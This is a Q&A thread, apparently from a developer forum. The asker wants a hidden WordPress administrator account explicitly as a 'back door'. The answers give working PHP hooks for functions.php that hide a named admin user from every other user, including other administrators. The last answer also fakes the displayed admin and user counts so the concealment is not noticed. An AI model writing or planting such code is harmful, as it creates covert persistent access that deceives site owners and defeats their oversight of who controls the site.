Q:

Hide A Particular Admin Account From Wordpress User List

I'd like to create an admin user in Wordpress and then hide it from the users list in the wordpress dashboard, as a kind of hidden back door. I am not trying to hide all admins, only a particular one.
Any help is greatly appreciated.

A:

You can do this with a custom function in your functions.php.
Here is an example :
add_action('pre_user_query','yoursite_pre_user_query');
function yoursite_pre_user_query($user_search) {
  global $current_user;
  $username = $current_user->user_login;

  if ($username == '<USERNAME OF OTHER ADMIN>') { 
    global $wpdb;
    $user_search->query_where = str_replace('WHERE 1=1',
      "WHERE 1=1 AND {$wpdb->users}.user_login != '<YOUR USERNAME>'",$user_search->query_where);
  }
}

Or you can use a plugin for this; http://wordpress.org/plugins/user-role-editor/

A:

Combining the answer of "angezanetti", the question of "Natalia" and the response of "user3474007" to Natalia, this code will hide the user from all other users (including admins).
add_action('pre_user_query','yoursite_pre_user_query');
function yoursite_pre_user_query($user_search) {
  global $current_user;
  $username = $current_user->user_login;

  if ($username != 'hiddenuser') { 
    global $wpdb;
    $user_search->query_where = str_replace('WHERE 1=1',
      "WHERE 1=1 AND {$wpdb->users}.user_login != 'hiddenuser'",$user_search->query_where);
  }
}

A:

There is a very good solution by angezanetti, but even when hiddenuser is hidden from Administrators list, the total number of admins shown is still unchanged and it can be suspicious for someone.
I took the code by Symbolwdd and added lines for correct displayed number of admins:
add_action('pre_user_query','dt_pre_user_query');
function dt_pre_user_query($user_search) {
   global $current_user;
   $username = $current_user->user_login;

   if ($username != 'hiddenuser') {
      global $wpdb;
      $user_search->query_where = str_replace('WHERE 1=1',
         "WHERE 1=1 AND {$wpdb->users}.user_login != 'hiddenuser'",$user_search->query_where);
   }
}

add_filter("views_users", "dt_list_table_views");
function dt_list_table_views($views){
   $users = count_users();
   $admins_num = $users['avail_roles']['administrator'] - 1;
   $all_num = $users['total_users'] - 1;
   $class_adm = ( strpos($views['administrator'], 'current') === false ) ? "" : "current";
   $class_all = ( strpos($views['all'], 'current') === false ) ? "" : "current";
   $views['administrator'] = '<a href="users.php?role=administrator" class="' . $class_adm . '">' . translate_user_role('Administrator') . ' <span class="count">(' . $admins_num . ')</span></a>';
   $views['all'] = '<a href="users.php" class="' . $class_all . '">' . __('All') . ' <span class="count">(' . $all_num . ')</span></a>';
   return $views;
}

